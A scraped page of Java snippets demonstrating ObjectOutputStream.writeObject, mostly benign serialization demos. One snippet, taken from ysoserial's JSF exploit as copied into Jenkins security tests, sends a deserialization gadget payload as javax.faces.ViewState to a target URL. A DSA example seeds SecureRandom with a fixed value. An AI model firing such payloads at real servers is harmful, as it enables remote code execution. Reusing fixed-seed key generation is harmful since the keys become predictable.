List of usage examples for java.io ObjectOutputStream writeObject
public final void writeObject(Object obj) throws IOException
From source file:net.sf.jabb.util.text.test.KeywordMatcherExample.java
/** * @param args/*from www . j a v a 2 s . co m*/ * @throws IOException * @throws ClassNotFoundException */ public static void main(String[] args) throws IOException, ClassNotFoundException { System.out.println("==== ===="); KeywordMatcher m = showExample(null); System.out.println("==== ? ===="); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(m); byte[] binary = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(binary); ObjectInputStream ois = new ObjectInputStream(bais); KeywordMatcher m2 = (KeywordMatcher) ois.readObject(); showExample(m2); System.out.println("==== ? ===="); KeywordMatcher m3 = new KeywordMatcher(m); showExample(m3); }
From source file:MainClass.java
public static void main(String args[]) throws Exception { KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA"); SecureRandom random = SecureRandom.getInstance("SHA1PRNG", "SUN"); random.setSeed(101L);/*from ww w . j a v a 2 s . co m*/ keyGen.initialize(1024, random); KeyPair keypair = keyGen.generateKeyPair(); KeyFactory kfactory = KeyFactory.getInstance("DSA"); DSAPublicKeySpec kspec = (DSAPublicKeySpec) kfactory.getKeySpec(keypair.getPublic(), DSAPublicKeySpec.class); System.out.println(keypair.getPublic()); FileOutputStream fos = new FileOutputStream("publicKeys"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(kspec.getY()); oos.writeObject(kspec.getP()); oos.writeObject(kspec.getQ()); oos.writeObject(kspec.getG()); FileInputStream fin = new FileInputStream("publicKeys"); ObjectInputStream ois = new ObjectInputStream(fin); BigInteger Y = (BigInteger) ois.readObject(); BigInteger P = (BigInteger) ois.readObject(); BigInteger Q = (BigInteger) ois.readObject(); BigInteger G = (BigInteger) ois.readObject(); DSAPublicKeySpec keyspec = new DSAPublicKeySpec(Y, P, Q, G); PublicKey pkey = kfactory.generatePublic(keyspec); System.out.println(pkey); }
From source file:MainClass.java
public static void main(String[] args) throws Exception { Junk obj1 = new Junk("A"); Junk obj2 = new Junk("B"); Junk obj3 = new Junk("V"); ObjectOutputStream objectOut = new ObjectOutputStream( new BufferedOutputStream(new FileOutputStream("C:/JunkObjects.bin"))); objectOut.writeObject(obj1); // Write object objectOut.writeObject(obj2); // Write object objectOut.writeObject(obj3); // Write object System.out.println("\n\nobj1:\n" + obj1 + "\n\nobj2:\n" + obj2 + "\n\nobj3:\n" + obj3); objectOut.close(); // Close the output stream }
From source file:SerialDemo.java
static public void main(String[] args) { try {//from ww w. j a va2s . c o m { // Save a SerialDemo object with a value of 5. FileOutputStream f = new FileOutputStream("/tmp/testing"); ObjectOutputStream s = new ObjectOutputStream(f); SerialDemo d = new SerialDemo(5); s.writeObject(d); s.flush(); } { // Now restore it and look at the value. FileInputStream f = new FileInputStream("/tmp/testing"); ObjectInputStream s = new ObjectInputStream(f); SerialDemo d = (SerialDemo) s.readObject(); System.out.println("SerialDemo.getVal() is: " + d.getVal()); } } catch (Exception e) { e.printStackTrace(); } }
From source file:Main.java
public static void main(String[] args) throws Exception { User admin = new User(); admin.setId(new Long(1)); User foo = new User(); foo.setId(new Long(2)); ObjectOutputStream oos = new ObjectOutputStream( new GZIPOutputStream(new FileOutputStream(new File("user.dat")))); oos.writeObject(admin); oos.writeObject(foo);// w ww . jav a2s . c om oos.flush(); oos.close(); }
From source file:cn.lynx.emi.license.GenerateLicense.java
public static void main(String[] args) throws ClassNotFoundException, ParseException { if (args == null || args.length != 4) { System.err.println("Please provide [machine code] [cpu] [memory in gb] [yyyy-MM-dd] as parameter"); return;/* www .j av a2 s .c o m*/ } InputStream is = GenerateLicense.class.getResourceAsStream("/privatekey"); BufferedReader br = new BufferedReader(new InputStreamReader(is)); String key = null; try { key = br.readLine(); } catch (IOException e) { System.err.println( "Can't read the private key file, make sure there's a file named \"privatekey\" in the root classpath"); e.printStackTrace(); return; } if (key == null) { System.err.println( "Can't read the private key file, make sure there's a file named \"privatekey\" in the root classpath"); return; } String machineCode = args[0]; int cpu = Integer.parseInt(args[1]); long mem = Long.parseLong(args[2]) * 1024 * 1024 * 1024; SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); long expDate = sdf.parse(args[3]).getTime(); LicenseBean lb = new LicenseBean(); lb.setCpuCount(cpu); lb.setMemCount(mem); lb.setMachineCode(machineCode); lb.setExpireDate(expDate); try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(baos); os.writeObject(lb); os.close(); String serializedLicense = Base64.encodeBase64String(baos.toByteArray()); System.out.println("License:" + encrypt(key, serializedLicense)); } catch (IOException e) { e.printStackTrace(); } }
From source file:A.java
public static void main(String[] args) throws IOException, ClassNotFoundException { System.out.println("Constructing objects:"); A b1 = new A(); B b2 = new B(); ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("File.out")); System.out.println("Saving objects:"); o.writeObject(b1); o.writeObject(b2);/*from w w w .j av a 2 s . c o m*/ o.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("File.out")); System.out.println("Recovering b1:"); b1 = (A) in.readObject(); }
From source file:Main.java
public static void main(String[] args) throws Exception { ObjectOutputStream out = new ObjectOutputStream( new BufferedOutputStream(new FileOutputStream("file.data"))); out.writeObject(Calendar.getInstance()); out.writeObject(new BigDecimal("123.123")); out.writeInt(1);//from w w w.ja va2 s . c om out.writeUTF("tutorial"); out.close(); ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new FileInputStream("file.data"))); BigDecimal price; int unit; String desc; Calendar date = (Calendar) in.readObject(); System.out.println(date); price = (BigDecimal) in.readObject(); unit = in.readInt(); desc = in.readUTF(); System.out.println(unit); System.out.println(desc); System.out.println(price); in.close(); }
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);/*from ww w. j av a 2 s. com*/ } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:Main.java
public static void main(String[] args) { int[] x = new int[] { 1, 2, 3 }; int[] y = new int[] { 4, 5, 6 }; Polygon polygon = new Polygon(x, y, x.length); try {/* w w w.j ava 2 s . c om*/ ObjectOutputStream objectOut = new ObjectOutputStream( new BufferedOutputStream(new FileOutputStream("Polygons.bin"))); objectOut.writeObject(polygon); objectOut.close(); } catch (IOException e) { e.printStackTrace(System.err); } try { ObjectInputStream objectIn = new ObjectInputStream( new BufferedInputStream(new FileInputStream("Polygons.bin"))); Polygon theLine = (Polygon) objectIn.readObject(); System.out.println(theLine); objectIn.close(); } catch (Exception e) { e.printStackTrace(System.err); } }